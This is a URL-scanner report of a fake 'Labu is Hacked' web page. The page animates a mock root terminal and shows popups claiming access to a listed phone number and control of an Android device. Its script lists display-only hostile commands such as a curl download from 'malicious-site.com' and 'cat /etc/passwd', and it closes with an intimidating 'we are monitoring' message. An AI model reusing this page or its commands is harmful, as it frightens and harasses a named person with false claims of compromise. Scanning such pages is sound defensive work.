- ID de exploración:
- bc17e99f-7d75-499f-909e-143c9ebe8782Finalizado
- URL enviada:
- https://ynwueyyfkiii6npvzjgjfq.on.drv.tw/index.html/
- Informe finalizado:
Enlaces: 0 encontrados
Los enlaces salientes identificados en la página
Variables JavaScript: 20 encontradas
Las variables JavaScript globales cargadas en el objeto de ventana de una página son variables declaradas fuera de las funciones y a las que se puede acceder desde cualquier lugar del código en el ámbito actual
Nombre | Tipo |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
typeCommand | function |
executeFakeCommands | function |
showProgressBar | function |
showPermissionPopup | function |
showAndroidButtonPopup | function |
showMonitoringMessage | function |
showSystemMessage | function |
Mensajes de registro de la consola: 1 encontrados
Mensajes registrados en la consola web
Tipo | Categoría | Registrar |
---|---|---|
error | network |
|
HTML
El cuerpo HTML sin procesar de la página
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:b="http://www.google.com/2005/gml"><head></head><body>html_code = """
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Labu is Hacked</title>
<style>
body {
background-color: #000;
color: #00ff00;
font-family: 'Courier New', Courier, monospace;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
text-align: center;
}
h1 {
font-size: 2em;
color: #ff0000;
margin-bottom: 20px;
text-transform: uppercase;
}
.terminal {
width: 90%;
max-width: 800px;
background-color: #222;
border-radius: 5px;
box-shadow: 0 0 15px rgba(0, 255, 0, 0.3);
}
.header {
background-color: #444;
padding: 5px;
border-top-left-radius: 5px;
border-top-right-radius: 5px;
display: flex;
justify-content: space-between;
align-items: center;
}
.buttons span {
height: 12px;
width: 12px;
border-radius: 50%;
display: inline-block;
margin-right: 5px;
}
.red {
background-color: #ff605c;
}
.yellow {
background-color: #ffbd44;
}
.green {
background-color: #00ca4e;
}
.title {
color: #fff;
font-size: 14px;
}
.screen {
padding: 20px;
overflow-y: auto;
height: 400px;
background-color: #000;
text-align: left;
}
.cursor {
display: inline-block;
width: 10px;
background-color: #00ff00;
animation: blink 1s steps(2, start) infinite;
}
.progress-bar {
width: 0;
height: 10px;
background-color: #00ff00;
margin-top: 10px;
transition: width 0.5s;
}
@keyframes blink {
0%, 50% {
opacity: 1;
}
51%, 100% {
opacity: 0;
}
}
.system-message {
background-color: #222;
color: #ff0000;
padding: 10px;
border: 1px solid #ff0000;
margin: 10px 0;
font-weight: bold;
border-radius: 5px;
}
/* Pop-Up Styles */
.popup {
display: none;
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background-color: rgba(255, 0, 0, 0.8);
color: white;
padding: 20px;
border-radius: 10px;
z-index: 1000;
box-shadow: 0 0 15px rgba(255, 0, 0, 0.5);
font-size: 20px;
text-align: center;
}
/* Mobile Styles */
@media (max-width: 600px) {
h1 {
font-size: 1.5em;
}
.terminal {
width: 95%;
}
.screen {
height: 300px;
}
.popup {
font-size: 18px;
}
}
/* Monitoring Message Style */
.monitoring-message {
margin-top: 20px;
font-size: 16px;
color: #ff0000;
font-weight: bold;
}
</style>
<h1>Labu is Hacked</h1>
<div class="terminal">
<div class="header">
<div class="buttons">
<span class="red"></span>
<span class="yellow"></span>
<span class="green"></span>
</div>
<p class="title">root@labu: ~</p>
</div>
<div class="screen" id="terminalScreen">
<p>root@labu:~$ <span class="cursor"></span></p>
<div class="system-message">SYSTEM WARNING: Unauthorized access detected!r</div></div>
<div id="progressBarContainer"></div>
</div>
<!-- Pop-Up for Permission Granted -->
<div class="popup" id="permissionPopup">
<p>Last Permission Granted!</p>
<p>Access to +8801768288313 has been obtained.</p>
</div>
<!-- Pop-Up for Controlled Android Button -->
<div class="popup" id="androidButtonPopup">
<p>Controlled Android Button Activated!</p>
<p>The android device is now under control.</p>
</div>
<script type="text/javascript" async="" src="https://www.google-analytics.com/analytics.js"></script><script type="text/javascript" async="" src="https://www.googletagmanager.com/gtag/js?id=G-LHL0SH0Z7S&l=dataLayer&cx=c"></script><script type="text/javascript" async="" src="https://www.googletagmanager.com/gtag/js?id=G-NBGQJBJMEG&l=dataLayer&cx=c"></script><script async="" src="https://www.googletagmanager.com/gtag/js?id=UA-85417367-1"></script><script>
const terminalScreen = document.getElementById('terminalScreen');
const progressBarContainer = document.getElementById('progressBarContainer');
const permissionPopup = document.getElementById('permissionPopup');
const androidButtonPopup = document.getElementById('androidButtonPopup');
const fakeCommands = [
"ping 192.168.1.1",
"traceroute www.example.com",
"sudo apt-get update",
"curl http://malicious-site.com --download",
"cat /etc/passwd",
"Downloading data from Labu's phone...",
"echo 'Access Granted to +8801768288313'",
"android button activated"
];
function typeCommand(command, delay = 100) {
let i = 0;
const interval = setInterval(() => {
if (i < command.length) {
terminalScreen.lastChild.innerHTML += command[i];
i++;
} else {
clearInterval(interval);
terminalScreen.appendChild(document.createElement("p")).innerHTML = "root@labu:~$ <span class='cursor'></span>";
}
}, delay);
}
function executeFakeCommands() {
let index = 0;
const commandInterval = setInterval(() => {
if (index < fakeCommands.length) {
const command = fakeCommands[index];
terminalScreen.lastChild.innerHTML += command + "<br>";
if (command.includes("Downloading")) {
showProgressBar();
}
if (command.includes("Access Granted")) {
setTimeout(showPermissionPopup, 1000);
}
if (command.includes("android button activated")) {
setTimeout(showAndroidButtonPopup, 1000);
}
index++;
} else {
clearInterval(commandInterval);
terminalScreen.appendChild(document.createElement("p")).innerHTML = "root@labu:~$ <span class='cursor'></span>";
showMonitoringMessage(); // Show monitoring message after commands
}
}, 2000);
}
function showProgressBar() {
const progressBar = document.createElement("div");
progressBar.className = "progress-bar";
progressBarContainer.appendChild(progressBar);
let width = 0;
const progressInterval = setInterval(() => {
if (width >= 100) {
clearInterval(progressInterval);
} else {
width += 10;
progressBar.style.width = width + "%";
}
}, 500);
}
function showPermissionPopup() {
permissionPopup.style.display = "block";
setTimeout(() => {
permissionPopup.style.display = "none";
}, 5000); // Hide after 5 seconds
}
function showAndroidButtonPopup() {
androidButtonPopup.style.display = "block";
setTimeout(() => {
androidButtonPopup.style.display = "none";
}, 5000); // Hide after 5 seconds
}
function showMonitoringMessage() {
const monitoringMessage = document.createElement("div");
monitoringMessage.className = "monitoring-message";
monitoringMessage.textContent = "We are monitoring all your activity online and offline.";
document.body.appendChild(monitoringMessage);
}
function showSystemMessage(message) {
const systemMessage = document.createElement("div");
systemMessage.className = "system-message";
systemMessage.textContent = message;
terminalScreen.appendChild(systemMessage);
}
// Automatically start typing and executing commands
window.onload = () => {
setTimeout(() => {
showSystemMessage("SYSTEM WARNING: Unauthorized access detected!");
typeCommand("root@labu:~$ ./start-hack.sh");
setTimeout(executeFakeCommands, 2000);
}, 1000);
};
</script>
<script src="https://www.drv.tw/inc/wd.js?s=ynwueyyfkiii6npvzjgjfq"></script>
"""
</body></html>